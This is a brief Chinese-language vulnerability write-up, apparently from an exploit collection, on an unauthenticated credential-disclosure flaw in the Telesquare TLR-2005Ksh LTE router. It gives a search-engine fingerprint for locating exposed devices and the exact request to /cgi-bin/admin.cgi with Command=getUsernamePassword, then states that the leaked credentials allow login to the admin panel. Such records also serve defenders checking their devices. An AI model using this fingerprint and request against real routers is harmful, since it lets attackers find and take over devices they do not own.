TelesquareTLR-2005Ksh路由器getUsernamePassword信息泄露漏洞.md

Telesquare TLR-2005Ksh 路由器 getUsernamePassword 信息泄露漏洞

一、漏洞简介

Telesquare Tlr-2005Ksh是韩国Telesquare公司的一款 Sk 电讯 Lte 路由器。Telesquare TLR-2005Ksh存在安全漏洞，攻击者可通过未授权getUsernamePassword获取用户名密码等敏感信息。

二、影响版本

• Telesquare Tlr-2005Ksh

三、资产测绘

• hunterweb.title="TLR-2005KSH"||banner="TLR-2005KSH login:"
• 特征

四、漏洞复现

/cgi-bin/admin.cgi?Command=getUsernamePassword

使用账户密码成果登录后台

更新: 2024-02-29 23:57:12
原文: https://www.yuque.com/xiaokp7/ocvun2/awpgpcgce8hdzmr4